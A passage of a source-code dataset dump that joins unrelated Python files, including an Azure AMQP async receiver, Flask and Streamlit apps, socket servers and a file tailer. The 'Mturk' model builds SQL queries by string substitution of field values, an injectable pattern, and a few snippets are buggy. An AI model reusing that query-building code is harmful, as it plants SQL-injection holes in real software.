rcv_settle_mode=self._receive_settle_mode,\n max_message_size=self._max_message_size,\n on_transfer=self._message_received_async,\n properties=self._link_properties,\n desired_capabilities=self._desired_capabilities,\n on_attach=self._on_attach\n )\n await self._link.attach()\n return False\n if self._link.get_state().value != 3: # ATTACHED\n return False\n return True\n\n async def _client_run_async(self, **kwargs):\n \"\"\"MessageReceiver Link is now open - start receiving messages.\n Will return True if operation successful and client can remain open for\n further work.\n\n :return: Whether the client can remain open for further work.\n :rtype: bool\n \"\"\"\n try:\n if self._link.current_link_credit == 0:\n await self._link.flow()\n await self._connection.listen(wait=self._socket_timeout, **kwargs)\n except ValueError:\n _logger.info(\"Timeout reached, closing receiver.\", extra=self._network_trace_params)\n self._shutdown = True\n return False\n return True\n\n async def _message_received_async(self, frame, message):\n \"\"\"Callback run on receipt of every message. If there is\n a user-defined callback, this will be called.\n Additionally if the client is retrieving messages for a batch\n or iterator, the message will be added to an internal queue.\n\n :param tuple frame: Received frame.\n :param message: Received message.\n :type message: ~pyamqp.message.Message\n \"\"\"\n self._last_activity_timestamp = time.time()\n if self._message_received_callback:\n await self._message_received_callback(message)\n if not self._streaming_receive:\n self._received_messages.put((frame, message))\n\n async def _receive_message_batch_impl_async(self, max_batch_size=None, on_message_received=None, timeout=0):\n self._message_received_callback = on_message_received\n max_batch_size = max_batch_size or self._link_credit\n timeout_time = time.time() + timeout if timeout else 0\n receiving = True\n batch = []\n await self.open_async()\n while len(batch) < max_batch_size:\n try:\n # TODO: This drops the transfer frame data\n _, message = self._received_messages.get_nowait()\n batch.append(message)\n self._received_messages.task_done()\n except queue.Empty:\n break\n else:\n return batch\n\n to_receive_size = max_batch_size - len(batch)\n before_queue_size = self._received_messages.qsize()\n\n while receiving and to_receive_size > 0:\n now_time = time.time()\n if timeout_time and now_time > timeout_time:\n break\n\n try:\n receiving = await asyncio.wait_for(\n self.do_work_async(batch=to_receive_size),\n timeout=timeout_time - now_time if timeout else None\n )\n except asyncio.TimeoutError:\n break\n\n cur_queue_size = self._received_messages.qsize()\n # after do_work, check how many new messages have been received since previous iteration\n received = cur_queue_size - before_queue_size\n if to_receive_size < max_batch_size and received == 0:\n # there are already messages in the batch, and no message is received in the current cycle\n # return what we have\n break\n\n to_receive_size -= received\n before_queue_size = cur_queue_size\n\n while len(batch) < max_batch_size:\n try:\n _, message = self._received_messages.get_nowait()\n batch.append(message)\n self._received_messages.task_done()\n except queue.Empty:\n break\n return batch\n\n async def close_async(self):\n self._received_messages = queue.Queue()\n await super(ReceiveClientAsync, self).close_async()\n\n async def receive_message_batch_async(self, **kwargs):\n \"\"\"Receive a batch of messages. Messages returned in the batch have already been\n accepted - if you wish to add logic to accept or reject messages based on custom\n criteria, pass in a callback. This method will return as soon as some messages are\n available rather than waiting to achieve a specific batch size, and therefore the\n number of messages returned per call will vary up to the maximum allowed.\n\n :keyword max_batch_size: The maximum number of messages that can be returned in\n one call. This value cannot be larger than the prefetch value, and if not specified,\n the prefetch value will be used.\n :paramtype max_batch_size: int\n :keyword on_message_received: A callback to process messages as they arrive from the\n service. It takes a single argument, a ~pyamqp.message.Message object.\n :paramtype on_message_received: callable[~pyamqp.message.Message]\n :keyword timeout: Timeout in seconds for which to wait to receive any messages.\n If no messages are received in this time, an empty list will be returned. If set to\n 0, the client will continue to wait until at least one message is received. The\n default is 0.\n :paramtype timeout: float\n \"\"\"\n return await self._do_retryable_operation_async(\n self._receive_message_batch_impl_async,\n **kwargs\n )\n\n async def receive_messages_iter_async(self, timeout=None, on_message_received=None):\n \"\"\"Receive messages by generator. Messages returned in the generator have already been\n accepted - if you wish to add logic to accept or reject messages based on custom\n criteria, pass in a callback.\n\n :param on_message_received: A callback to process messages as they arrive from the\n service. It takes a single argument, a ~pyamqp.message.Message object.\n :type on_message_received: callable[~pyamqp.message.Message]\n :param float timeout: Timeout in seconds for which to wait to receive any messages.\n :return: A generator of messages.\n :rtype: generator[~pyamqp.message.Message]\n \"\"\"\n self._message_received_callback = on_message_received\n return self._message_generator_async(timeout=timeout)\n\n async def _message_generator_async(self, timeout=None):\n \"\"\"Iterate over processed messages in the receive queue.\n\n :param float timeout: Timeout in seconds for which to wait to receive any messages.\n :return: A generator of messages.\n :rtype: generator[~pyamqp.message.Message]\n \"\"\"\n self.open()\n receiving = True\n message = None\n self._last_activity_timestamp = time.time()\n self._timeout_reached = False\n self._timeout = timeout if timeout else self._timeout\n try:\n while receiving and not self._timeout_reached:\n if self._timeout > 0:\n if time.time() - self._last_activity_timestamp >= self._timeout:\n self._timeout_reached = True\n\n if not self._timeout_reached:\n receiving = await self.do_work_async()\n\n while not self._received_messages.empty():\n message = self._received_messages.get()\n self._last_activity_timestamp = time.time()\n self._received_messages.task_done()\n yield message\n\n finally:\n if self._shutdown:\n await self.close_async()\n\n @overload\n async def settle_messages_async(\n self,\n delivery_id: Union[int, Tuple[int, int]],\n outcome: Literal[\"accepted\"],\n *,\n batchable: Optional[bool] = None\n ):\n ...\n\n @overload\n async def settle_messages_async(\n self,\n delivery_id: Union[int, Tuple[int, int]],\n outcome: Literal[\"released\"],\n *,\n batchable: Optional[bool] = None\n ):\n ...\n\n @overload\n async def settle_messages_async(\n self,\n delivery_id: Union[int, Tuple[int, int]],\n outcome: Literal[\"rejected\"],\n *,\n error: Optional[AMQPError] = None,\n batchable: Optional[bool] = None\n ):\n ...\n\n @overload\n async def settle_messages_async(\n self,\n delivery_id: Union[int, Tuple[int, int]],\n outcome: Literal[\"modified\"],\n *,\n delivery_failed: Optional[bool] = None,\n undeliverable_here: Optional[bool] = None,\n message_annotations: Optional[Dict[Union[str, bytes], Any]] = None,\n batchable: Optional[bool] = None\n ):\n ...\n\n @overload\n async def settle_messages_async(\n self,\n delivery_id: Union[int, Tuple[int, int]],\n outcome: Literal[\"received\"],\n *,\n section_number: int,\n section_offset: int,\n batchable: Optional[bool] = None\n ):\n ...\n\n async def settle_messages_async(self, delivery_id: Union[int, Tuple[int, int]], outcome: str, **kwargs):\n batchable = kwargs.pop('batchable', None)\n if outcome.lower() == 'accepted':\n state: Outcomes = Accepted()\n elif outcome.lower() == 'released':\n state = Released()\n elif outcome.lower() == 'rejected':\n state = Rejected(**kwargs)\n elif outcome.lower() == 'modified':\n state = Modified(**kwargs)\n elif outcome.lower() == 'received':\n state = Received(**kwargs)\n else:\n raise ValueError(\"Unrecognized message output: {}\".format(outcome))\n try:\n first, last = cast(Tuple, delivery_id)\n except TypeError:\n first = delivery_id\n last = None\n await self._link.send_disposition(\n first_delivery_id=first,\n last_delivery_id=last,\n settled=True,\n delivery_state=state,\n batchable=batchable,\n wait=True\n )\n","sub_path":"sdk/eventhub/azure-eventhub/azure/eventhub/_pyamqp/aio/_client_async.py","file_name":"_client_async.py","file_ext":"py","file_size_in_byte":46483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"128986274","text":"import requests\nimport json\n\nfrom tsuruclient.base import Manager as Base\n\n\nclass Manager(Base):\n \"\"\"\n Manage Iaas Template resources.\n \"\"\"\n\n def list(self):\n \"\"\"\n List machine templates\n \"\"\"\n response = requests.get(\"{}/iaas/templates\".format(self.target), headers=self.headers)\n return response.json()\n\n def remove(self, name):\n \"\"\"\n Remove machine templates\n \"\"\"\n response = requests.delete(\n \"{}/iaas/templates/{}\".format(self.target, name),\n headers=self.headers\n )\n return response\n\n def create(self, name, iaas, **kwargs):\n \"\"\"\n Create machine templates\n \"\"\"\n data = kwargs\n data[\"iaas\"] = iaas\n data[\"name\"] = name\n response = requests.post(\n \"{}/iaas/templates\".format(self.target),\n data=json.dumps(data),\n headers=self.headers\n )\n return response\n","sub_path":"tsuruclient/templates.py","file_name":"templates.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"282608089","text":"############################################################\n#\n# BuildingRules Project \n# Politecnico di Milano\n# Author: Alessandro A. Nacci\n#\n# This code is confidential\n# Milan, March 2014\n#\n############################################################\n\nimport sys\nimport json\nfrom app.backend.commons.errors import *\nfrom app.backend.commons.database import Database\n\nclass Mturk:\n\tdef __init__(self, id = None, day = None, userUuid = None, token = None):\n\n\t\t\tself.id = id\n\t\t\tself.day = day\n\t\t\tself.userUuid = userUuid\n\t\t\tself.token = token\n\n\tdef __replaceSqlQueryToken(self, queryTemplate):\n\t\tif self.id \t\t\t!= None\t: \tqueryTemplate = queryTemplate.replace(\"@@id@@\", str(self.id))\n\t\tif self.day\t\t \t!= None\t: \tqueryTemplate = queryTemplate.replace(\"@@day@@\", str(self.day))\n\t\tif self.userUuid \t!= None\t: \tqueryTemplate = queryTemplate.replace(\"@@user_uuid@@\", str(self.userUuid))\n\t\tif self.token\t\t!= None\t: \tqueryTemplate = queryTemplate.replace(\"@@token@@\", self.token)\n\n\t\treturn queryTemplate\n\n\tdef store(self):\n\n\t\tdatabase = Database()\n\t\tdatabase.open()\n\n\t\tquery = \"SELECT COUNT(id) FROM mturk WHERE id = '@@id@@';\"\n\t\tquery = self.__replaceSqlQueryToken(query)\n\t\tqueryResult = database.executeReadQuery(query)\n\n\t\tif int(queryResult[0][0]) > 0:\n\t\t\tquery = \"UPDATE mturk SET day = '@@day@@', user_uuid = '@@user_uuid@@', token = '@@token@@' WHERE id = '@@id@@';\"\n\t\telse:\n\t\t\tquery = \"INSERT INTO mturk (day, user_uuid, token) VALUES ('@@day@@', '@@user_uuid@@', '@@token@@');\"\t\n\t\n\t\tquery = self.__replaceSqlQueryToken(query)\n\t\tdatabase.executeWriteQuery(query)\n\t\tdatabase.close()\n\n\n\tdef retrieve(self):\n\n\t\tif self.id:\n\t\t\tquery = \"SELECT * FROM mturk WHERE id = '@@id@@';\"\n\t\tif self.day != None and self.userUuid != None:\n\t\t\tquery = \"SELECT * FROM mturk WHERE day = '@@day@@' AND user_uuid = '@@user_uuid@@' ;\"\n\t\telse:\n\t\t\traise MissingInputDataError(\"Impossibile to query any Mturk with missing parameters\")\n\n\t\tdatabase = Database()\n\t\tdatabase.open()\n\t\tquery = self.__replaceSqlQueryToken(query)\n\t\tqueryResult = database.executeReadQuery(query)\n\n\n\n\t\tif len(queryResult) > 0:\n\t\t\tself.id = queryResult[0][0]\n\t\t\tself.day = queryResult[0][1]\n\t\t\tself.userUuid = queryResult[0][2]\n\t\t\tself.token = queryResult[0][3]\n\t\telse:\n\t\t\tdatabase.close()\n\t\t\traise MturkNotFoundError(\"Impossibile to find any Mturk with the provided values\")\n\n\t\tdatabase.close()\n\n\tdef delete(self):\n\n\t\tdatabase = Database()\n\t\tdatabase.open()\n\n\t\tquery = \"DELETE FROM mturk WHERE id = '@@id@@';\"\n\t\tquery = self.__replaceSqlQueryToken(query)\n\t\tdatabase.executeWriteQuery(query)\n\n\t\tdatabase.close()\n\n\tdef getDict(self):\n\t\t\n\t\tresponse = {}\n\n\t\tresponse[\"id\"] = self.id\n\t\tresponse[\"day\"] = self.day\n\t\tresponse[\"userUuid\"] = self.userUuid\n\t\tresponse[\"token\"] = self.token\n\n\t\treturn response\t\n\n\n\tdef __str__(self):\n\t\treturn \"Mturk \" + str(json.dumps(self.getDict(), separators=(',',':')))","sub_path":"backend/app/backend/model/mturk.py","file_name":"mturk.py","file_ext":"py","file_size_in_byte":2844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"94368723","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2017/8/24 10:52\n# @Author : Aries\n# @Site : \n# @File : server.py\n# @Software: PyCharm\nimport socket\nfrom multiprocessing import Process\ns=socket.socket()\ns.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\ns.bind((\"127.0.0.1\",8088))\ns.listen(5)\ndef talk(conn,addr):\n while True:\n try:\n print(conn,addr)\n data=conn.recv(1024)\n if not data:break\n conn.send(data.upper())\n except Exception:\n break\n conn.close()\nif __name__ == '__main__':\n while True:\n conn,addr=s.accept()\n p=Process(target=talk,args=(conn,addr))\n p.start()\n s.close()\n\n","sub_path":"python/多线程/多线程通讯/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"18206142","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\n__title__ = ''\n__author__ = 'mi'\n__mtime__ = '2020/2/26'\n# code is far away from bugs with the god animal protecting\n I love animals. They taste delicious.\n ┏┓ ┏┓\n ┏┛┻━━━┛┻┓\n ┃ ☃ ┃\n ┃ ┳┛ ┗┳ ┃\n ┃ ┻ ┃\n ┗━┓ ┏━┛\n ┃ ┗━━━┓\n ┃ 神兽保佑 ┣┓\n ┃ 永无BUG! ┏┛\n ┗┓┓┏━┳┓┏┛\n ┃┫┫ ┃┫┫\n ┗┻┛ ┗┻┛\n\"\"\"\nfrom planeWar.game_sprite import GameSprite\n\n\nclass Background(GameSprite):\n \"\"\"游戏背景精灵\"\"\"\n def __init__(self, is_alt=False, image = None):\n if image is None:\n super().__init__(\"./images/background.png\")\n else:\n super().__init__(image)\n # 判断是否是交替图像(用于背景图片循环滚动)\n if is_alt:\n self.rect.y = -self.rect.height\n\n def update(self):\n super().update()\n # 图片移出屏幕,将图像设置到屏幕的上方\n if self.rect.y >= self.screen_rect.height:\n self.rect.y = -self.rect.height","sub_path":"planeWar/Background.py","file_name":"Background.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"31591882","text":"import random\nimport sys\nimport time\nimport json\nimport os\nimport streamlit as st\nfrom scenario.example import sc1_simple_lockdown_removal, sc2_yoyo_lockdown_removal, sc0_base_lockdown, \\\n scx_base_just_a_flu, sc3_loose_lockdown, sc4_rogue_citizen, sc5_rogue_neighborhood, sc6_travelers\nfrom simulator.constants.keys import scenario_id_key, random_seed_key, draw_graph_key\nfrom simulator.helper.parser import get_parser\nfrom simulator.helper.plot_app import chose_draw_plot\nfrom simulator.helper.simulation import get_default_params\nfrom simulator.helper.environment import get_environment_simulation\n\n\ndef get_parametres(params):\n # Get general parametres\n\n st.sidebar.markdown(\"# Paramètres généraux\")\n params['N_INDIVIDUALS'] = st.sidebar.slider(\"Choisissez le nombre de personnes\", 100, 35000, 1000)\n params['N_DAYS'] = st.sidebar.slider(\"Choisissez la durée en jour\", 30, 365, 180)\n params['NRUN'] = st.sidebar.slider(\"N run\", 1, 50, 20)\n\n # Get probablities\n\n st.sidebar.markdown(\"# Probabilités d'infection\")\n params['PROB_HOUSE_INFECTION'] = st.sidebar.slider(\"Probability of house infection\", 0.0, 1.0, 0.5)\n params['PROB_STORE_INFECTION'] = st.sidebar.slider(\"Probability of store infection\", 0.0, 1.0, 0.02)\n params['PROB_WORK_INFECTION'] = st.sidebar.slider(\"Probability of workplace infection\", 0.0, 1.0, 0.01)\n params['PROB_TRANSPORT_INFECTION'] = st.sidebar.slider(\"Probability of public transportation infection\", 0.0, 1.0,\n 0.01)\n\n # Plot all graphs\n params[\"DRAW_GRAPH\"] = ['exa', 'pop', 'summ', 'lock', 'hos', 'new', 'R0']\n\n\ndef get_description(scenario_id, data):\n for scenario in data:\n if (scenario[\"scneario_id\"] == scenario_id):\n return scenario[\"description\"]\n\n\nif __name__ == '__main__':\n with open('scenario_desctiption.json', 'r', encoding='utf-8') as json_file:\n data_descrpition = json.load(json_file)\n params = get_default_params()\n random.seed(params[random_seed_key])\n\n t_start = time.time()\n\n st.title(\"Best et worst case scénarios pour un déconfinement de pandémie\")\n st.sidebar.title(\"Scénarios\")\n app_mode = st.sidebar.selectbox(\"choisissez un scénario\",\n [\"Scénario X - Ce n’est qu’une grippe\",\n \"Scénario 0 - Éradication\",\n \"Scénario 1 - Déconfinement one shot\",\n \"Scénario 2 - Déconfinement yo-yo\",\n \"Scénario 3 - Immunité collective\",\n \"Scénario 4 - Incivilités individuelles\",\n \"Scénario 5 - Incivilités sociales\",\n \"Scénario 6 - Les cas importés\"])\n\n get_parametres(params)\n\n env_dic = get_environment_simulation(params)\n if app_mode == \"Scénario X - Ce n’est qu’une grippe\":\n params[scenario_id_key] = -1\n st.markdown(get_description(-1 , data_descrpition))\n stats_result = scx_base_just_a_flu.launch_run(params, env_dic)\n elif app_mode == \"Scénario 0 - Éradication\": # Total lockdown\n params[scenario_id_key] = 0\n st.markdown(get_description(0, data_descrpition))\n stats_result = sc0_base_lockdown.launch_run(params, env_dic)\n elif app_mode == \"Scénario 1 - Déconfinement one shot\": # Lockdown removal after N days\n params['ADDITIONAL_SCENARIO_PARAMETERS'] = [14.0]\n params[scenario_id_key] = 1\n stats_result = sc1_simple_lockdown_removal.launch_run(params, env_dic)\n elif app_mode == \"Scénario 2 - Déconfinement yo-yo\": # Yoyo lockdown removal\n params['ADDITIONAL_SCENARIO_PARAMETERS'] = [7.0, 1.0, 2.0]\n params[scenario_id_key] = 2\n st.markdown(get_description(2, data_descrpition))\n stats_result = sc2_yoyo_lockdown_removal.launch_run(params, env_dic)\n elif app_mode == \"Scénario 3 - Immunité collective\": # Yoyo lockdown removal\n params['ADDITIONAL_SCENARIO_PARAMETERS'] = [0.0]\n params[scenario_id_key] = 3\n st.markdown(get_description(3, data_descrpition))\n stats_result = sc3_loose_lockdown.launch_run(params, env_dic)\n elif app_mode == \"Scénario 4 - Incivilités individuelles\": # Rogue citizen\n params['ADDITIONAL_SCENARIO_PARAMETERS'] = [1.0, 10.0]\n params[scenario_id_key] = 4\n st.markdown(get_description(4, data_descrpition))\n stats_result = sc4_rogue_citizen.launch_run(params, env_dic)\n elif app_mode == \"Scénario 5 - Incivilités sociales\": # Rogue block\n params['ADDITIONAL_SCENARIO_PARAMETERS'] = [4.0, 10.0]\n params[scenario_id_key] = 5\n st.markdown(get_description(5, data_descrpition))\n stats_result = sc5_rogue_neighborhood.launch_run(params, env_dic)\n elif app_mode == \"Scénario 6 - Les cas importés\": # Rogue block\n params['ADDITIONAL_SCENARIO_PARAMETERS'] = [5.0]\n params[scenario_id_key] = 6\n st.markdown(get_description(6, data_descrpition))\n stats_result = sc6_travelers.launch_run(params, env_dic)\n else:\n sys.exit(0)\n print(\"It took : %.2f seconds\" % (time.time() - t_start))\n\n chose_draw_plot(params[draw_graph_key], stats_result)\n","sub_path":"scenario/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"542418457","text":"# -*- coding: utf-8 -*-\n\nimport logging\n\n_logger = logging.getLogger(__name__)\n\n\ndef migrate(cr, version):\n _logger.info(\"PRE Update --> {}\".format(version))\n query = \"UPDATE res_users SET vat = id_usercore_tecnico;\"\n cr.execute(query)\n","sub_path":"helpdesk_rest/migrations/12.0.0.20220618/post-migration.py","file_name":"post-migration.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"107903281","text":"import pyinotify\nimport logging\nimport sys\nimport os\n\nmask = pyinotify.IN_MODIFY\n\nLOG = logging.getLogger('thefilewatch')\n\nclass BaseWatchHandler:\n\n def process(self, content):\n raise NotImplementedError\n\n\nclass Tailer:\n def __init__(self, path, content_handler):\n self.file_path = path\n self.file = open(path, 'r')\n self.file_size = os.path.getsize(self.file_path)\n self.file.seek(0, 2)\n self.try_count = 0\n self.handler = content_handler\n\n def reload(self):\n try:\n LOG.info('reloading file %s ...', self.file_path)\n self.file.close()\n self.file = open(self.file_path, 'r')\n self.file_size = os.path.getsize(self.file_path)\n self.file.seek(0, 2)\n return True\n except Exception as e:\n LOG.exception(e)\n return False\n\n def process(self):\n now_size = os.path.getsize(self.file_path)\n if now_size < self.file_size:\n while self.try_count < 10:\n if not self.reload():\n self.try_count += 1\n else:\n self.try_count = 0\n break\n\n if self.try_count >= 10:\n LOG.error('Open %s failed after try 10 times' % self.file_path)\n raise Exception('Open %s failed after try 10 times' % self.file_path)\n\n else:\n self.file_size = now_size\n\n curr_position = self.file.tell()\n lines = self.file.readlines()\n if not lines:\n self.file.seek(curr_position)\n else:\n try:\n self.handler.process(lines)\n except Exception as e:\n logger.exception(e)\n\n\nclass EventHandler(pyinotify.ProcessEvent):\n\n def __init__(self, file_list, content_handler, *args, **kwargs):\n super(EventHandler, self).__init__(*args, **kwargs)\n self.file_map = {}\n for file in file_list:\n abs_path = os.path.abspath(file)\n tailer = Tailer(abs_path, content_handler)\n self.file_map[abs_path] = tailer\n\n def process_IN_MODIFY(self, event):\n file_path = event.pathname\n if file_path not in self.file_map:\n LOG.error('file path %s not found in file_map', file_path)\n return\n\n tailer = self.file_map[file_path]\n tailer.process()\n\n\nclass TailError(Exception):\n def __init__(self, msg):\n self.msg = msg\n\n def __str__(self):\n return self.msg\n\n\nclass FileWatch:\n def __init__(self, file_list, content_handler):\n if not isinstance(content_handler, BaseWatchHandler):\n raise TailError('invalid content handler %s', content_handler)\n\n self.file_list = file_list\n handler = EventHandler(file_list, content_handler)\n wm = pyinotify.WatchManager()\n self.notifier = pyinotify.Notifier(wm, handler)\n for file_ in self.file_list:\n self.check_file_validity(file_)\n wm.add_watch(file_, mask)\n\n def check_file_validity(self, file_):\n if not os.access(file_, os.F_OK):\n raise TailError(\"File '%s' does not exis\" % (file_))\n\n if not os.access(file_, os.R_OK):\n raise TailError(\"File '%s' not readable\" % (file_))\n\n if os.path.isdir(file_):\n raise TailError(\"File '%s' is a directory\" % (file_))\n\n def start(self):\n LOG.info('Night gathers, and now my watch begins.')\n self.notifier.loop()\n\n\nif __name__ == '__main__':\n import sys\n class PrintHandler(BaseWatchHandler):\n\n def process(self, content):\n if isinstance(content, list):\n for ele in content:\n sys.stdout.write(ele)\n\n else:\n sys.stdout.write(content)\n\n sys.stdout.flush()\n\n if len(sys.argv) < 2:\n print('need watch files')\n exit(1)\n else:\n file_list = sys.argv[1:]\n\n watcher = FileWatch(file_list, PrintHandler())\n print('start watch ...')\n watcher.start()\n","sub_path":"thefilewatch/file_watch.py","file_name":"file_watch.py","file_ext":"py","file_size_in_byte":4067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"290674432","text":"from flask import request, jsonify, Blueprint\nfrom project.api.models.carModel import CarModel\nfrom database import db\nfrom project.api import bcrypt\nfrom project.api.utils import authenticate\nimport json\nimport sys\n\ncars_blueprint = Blueprint('car', __name__)\n\n\ndef createFailMessage(message):\n response_object = {\n 'status': 'fail',\n 'message': '{}'.format(message)\n }\n return response_object\n\n\ndef createSuccessMessage(message):\n response_object = {\n 'status': 'success',\n }\n if message is not None:\n response_object['message'] = '{}'.format(message)\n \n return response_object\n\n#Cars list route\n@cars_blueprint.route('/api/cars', methods=['get'])\n@authenticate\ndef car_list(resp):\n user = resp['data']\n idUser = user['idUser']\n\n cars = CarModel.find_by_user(idUser)\n\n cars_json = []\n\n for car in cars:\n car_json = car.to_json()['data']\n cars_json.append(car_json)\n\n response_object = createSuccessMessage(None)\n response_object['data'] = cars_json\n return jsonify(response_object), 200\n\n\n#Cars registration route\n@cars_blueprint.route('/api/cars', methods=['POST'])\n@authenticate\ndef car_registration(resp):\n post_data = request.json\n user = resp['data']\n\n if(not request.is_json or not post_data):\n return jsonify(createFailMessage(\"Invalid Payload.\")), 400\n\n plate = post_data[\"plate\"]\n color = post_data[\"color\"]\n year = post_data[\"year\"]\n model = post_data[\"model\"]\n idUser = user['idUser']\n\n car = CarModel(plate, color, year, model, idUser)\n\n if CarModel.find_by_plate(plate):\n return jsonify(createFailMessage('{} já está cadastrado.'.format(plate))), 400\n\n try:\n car.save_to_db()\n response_object = createSuccessMessage('Carro criado com sucesso.')\n response_object.update(car.to_json())\n return jsonify(response_object), 200\n except Exception as e:\n db.session.rollback()\n return jsonify(createFailMessage(e)), 503\n\n#Car update route\n@cars_blueprint.route('/api/cars/', methods=['PATCH'])\n@authenticate\ndef car_update(resp, idCar):\n post_data = request.json\n user = resp['data']\n\n if(not request.is_json or not post_data):\n return jsonify(createFailMessage(\"Invalid Payload\")), 400\n try:\n plate = post_data[\"plate\"]\n except:\n plate = None\n try:\n color = post_data[\"color\"]\n except:\n color = None\n try:\n year = post_data[\"year\"]\n except:\n year = None\n try:\n model = post_data[\"model\"]\n except:\n model = None\n\n car = CarModel.find_by_id(idCar)\n\n if car.idUser != user['idUser']:\n return jsonify(createFailMessage('{} não pertence a você.'.format(plate))), 400\n\n try:\n car.plate = plate if plate is not None else car.plate \n car.color = color if color is not None else car.color \n car.year = year if year is not None else car.year \n car.model = model if model is not None else car.model \n db.session.commit()\n response_object = createSuccessMessage('Dados do carro atualizados com sucesso.')\n response_object.update(car.to_json())\n return jsonify(response_object), 200\n except Exception as e:\n db.session.rollback()\n return jsonify(createFailMessage(e)), 503\n\n#Car delete route\n@cars_blueprint.route('/api/cars/', methods=['DELETE'])\n@authenticate\ndef car_delte(resp, idCar):\n user = resp['data']\n\n if(not request.is_json):\n return jsonify(createFailMessage(\"Invalid Payload\")), 400\n\n car = CarModel.find_by_id(idCar)\n\n if car is None:\n return jsonify(createFailMessage('{} não existe'.format(idCar))), 404\n\n\n if car.idUser != user['idUser']:\n return jsonify(createFailMessage('{} não pertence a você'.format(idCar))), 400\n\n try:\n car.delete_from_db()\n return jsonify(createSuccessMessage('Carro deletado com sucesso.')), 200\n except Exception as e:\n db.session.rollback()\n return jsonify(createFailMessage(e)), 503\n","sub_path":"project/api/views/car.py","file_name":"car.py","file_ext":"py","file_size_in_byte":4087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"476040312","text":"import gadata_funcs,pdb,re\nimport pandas as pd\nimport pylab as pl\nimport numpy as np\nfrom itertools import count\nfrom sys import stdout\nfrom gadata_funcs import date2days,gadata_date2days,salesdata_date2days,GetTrainingData,LoadGlobalData\nfrom importlib import reload\nfrom sklearn.ensemble import RandomForestClassifier,GradientBoostingClassifier,BaggingClassifier,VotingClassifier\nfrom sklearn.model_selection import train_test_split,ParameterSampler\nfrom sklearn.neural_network import MLPClassifier\nfrom xgboost import XGBClassifier\nfrom sklearn.metrics import precision_score,recall_score,accuracy_score\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import VotingClassifier\nfrom sklearn.externals import joblib\n\n# Conducting the experiments\n################################\n\n# Parameters\n#nAugment=1\n#pAugment=.69\n#labelWindow=38\n#featureWindow=26\nLoadGlobalData()\nlabelThreshold=[80,150]\n\nfeatureList=['hits','maxPurchase','meanPurchase']\nnumCV=20\nc=count(1)\n\n \nparams={\n 'learningRate':0.006353,\n 'featureWindow':26,\n 'labelWindow':38,\n 'propAugment':1,\n 'nHidden':35\n}\n\nparamsVec=[params[tmp] for tmp in ['learningRate','featureWindow','labelWindow','propAugment','nHidden']]\nlearningRate,featureWindow,labelWindow,propAugment,nHidden=paramsVec \n \n# Loading data\nxdf,ydf=GetTrainingData(labelThreshold,labelWindow=labelWindow,featureWindow=featureWindow)\nx=xdf[featureList].values\ny=ydf.values.reshape((-1,))\n \nn1s=pl.sum(y) # Number of positive samples\nn0s=pl.sum(1-y) # Number of negative samples\nn=(propAugment*n0s)-n1s # Number of extra positive samples that we have to create\nif n>0:\n if n port=')\n\n result = {}\n\n for argument in argv[1:]:\n if '=' not in argument:\n print('Invalid argument: {}'.format(argument))\n else:\n key, value = argument.split('=')\n result[key] = value\n\n return result\n\n\ndef main():\n from connections import ConnectonListener\n from connections import SessionStream\n\n args = params()\n\n if 'server' in args:\n listener = ConnectonListener(int(args['server']))\n listener.start()\n\n while True:\n while len(listener.connections) == 0:\n time.sleep(1)\n\n sock, addr = listener.connections.pop()\n s = SessionStream(sock)\n s.register_on_recv(print_message)\n s.start()\n\n i = input()\n\n if i == 'exit':\n listener.disconnect()\n s.disconnect()\n else:\n s.send(i)\n\n if 'ip' in args and 'port' in args:\n s = SessionStream.create_connection(args['ip'], args['port'])\n s.register_on_recv(print_message)\n s.start()\n\n while True:\n i = input()\n\n if i == 'exit':\n s.disconnect()\n\n s.send(i)\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"41847454","text":"import socket\r\n\r\nHOST = \"127.0.0.1\" #loopback\r\nPORT = 6500 #non-priveleged <1023\r\n\r\n#create socket\r\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\r\n\r\n#bind the socket\r\n s.bind ((HOST,PORT))\r\n#listening socket\r\n s.listen()\r\n#blocking mode accept ()\r\n conn, addr = s.accept()\r\n with conn:\r\n while True:\r\n#server receives original integer from Client 1\r\n x = conn.recv(1)\r\n#server will decrement original integer received by client1 \r\n x += 1\r\n if not x:\r\n break\r\n print(x)\r\n\r\n\r\n#server will decrement alphabetic character received by client1\r\n#clientsocket.send(bytes(\"Hey there!!!\",\"utf-8\"))\r\n#server will send new character to client 2\r\n#wait for closure from client 2 and terminate process\r\n\r\n\r\n#ori_char = \"t\"\r\n#i = ord(char[0])\r\n#i += 1\r\n#new_char = chr(i)\r\n#print(f\"New letter is {new_char}\")\r\n","sub_path":"server_float.py","file_name":"server_float.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"630607661","text":"from typing import Dict, List, Optional, Tuple, Union\n\nimport torch\nimport torch.nn as nn\n\nfrom cellseg_models_pytorch.decoders import Decoder\nfrom cellseg_models_pytorch.decoders.long_skips import 